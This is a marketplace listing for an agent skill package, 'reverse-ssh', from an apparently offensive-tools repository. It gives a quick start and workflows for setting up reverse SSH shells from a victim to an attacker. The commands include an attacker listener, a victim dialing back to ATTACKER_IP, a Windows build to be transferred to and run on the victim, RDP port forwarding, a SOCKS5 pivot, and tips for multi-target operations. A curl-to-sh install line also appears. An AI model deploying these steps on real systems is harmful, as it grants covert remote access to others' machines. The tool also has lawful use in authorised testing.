reverse-ssh
Auth/lab ref: Establish reverse SSH tunnels from victim to attacker for interactive shell access behind NAT/firewall.
v2026.11.13-21cd5683 installs+3 in 7 days39 StarsMITsynced 11 hours ago
Install
No NotHoly CLI yet? Install it first.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/reverse-sshWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Packagedccddfed…52bcc118
dccddfed306d…d6fd52bcc1182 files · 1.9 KBScanLowno findings
Sourcegithub.com/AeonDave/malskill/tree/main/offensive-tools/shells/reverse-ssh@21cd568
On this page
Reverse SSH server/tunnel for resilient shell access when inbound connectivity to target is blocked.
Quick Start
# Attacker listener mode
./reverse-ssh -l -p 31337
# Victim dials home
./reverse-ssh -p 31337 <attacker-ip>
# Attacker connects to reverse-bound shell port
ssh -p 8888 127.0.0.1Common Flags
| Flag | Purpose |
|---|---|
-l |
Listen mode (bind scenario) |
-p PORT |
SSH port to listen/dial (default 31337) |
-b PORT |
Reverse scenario bind port on attacker side (default 8888) |
-s SHELL |
Shell to spawn (/bin/bash, cmd path hints, etc.) |
-N |
Deny shell/exec/subsystem/local-forward requests |
--socks5 |
Enable SOCKS5 proxy |
-v |
Verbose logs |
Common Workflows
Deploy reverse shell:
# Compile for Windows target (from Linux)
GOOS=windows GOARCH=amd64 go build -o rev.exe .
# Transfer to victim, execute:
rev.exe -p 31337 ATTACKER_IPPort forwarding via reverse SSH:
# From attacker, tunnel internal RDP over obtained SSH endpoint
ssh -p 8888 -L 3389:127.0.0.1:3389 127.0.0.1
# Connect RDP client to localhost:3389SOCKS5 proxy:
# Open SSH dynamic forwarding via recovered endpoint
ssh -p 8888 -D 1080 127.0.0.1Hardening Before Use
- Replace default credentials at compile time (
RS_PASS,RS_PUB). - Set explicit
BPORTto avoid collisions during multi-target operations. - Use
-Nin listener-only workflows where shell execution is not required.
Resources
| File | When to load |
|---|---|
references/deployment-and-hardening.md |
Precise port model (-p vs -b), hardened build flags, safer deployment patterns |
Files in this version
references/11.9 KB
- deployment-and-hardening.md1.9 KB
- SKILL.md1.9 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | Yes | Yes |
| Writes files | No | No |
| Runs shell commands | Yes | Yes |
| Uses the network | No | No |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
The scan found nothing to flag in this version.
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | Nov 13, 2026 | 21cd568 | dccddfed | Signed | – |
More from AeonDave
All from this publisherMore in Reverse engineering and fuzzing
See the categoryAsk anything your scope allows.
Create an account, add credits and ask the first question in the chat or the terminal.
- 1/3
Create the account
Individual or company. You can switch to a company later without losing balance or keys.
IndividualCompany - 2/3
Add credits
By card. Pay per token, no subscription.
$5.00minimum deposit - 3/3
Ask
In the chat, or install the CLI and run notholy login in your terminal.
$ notholy login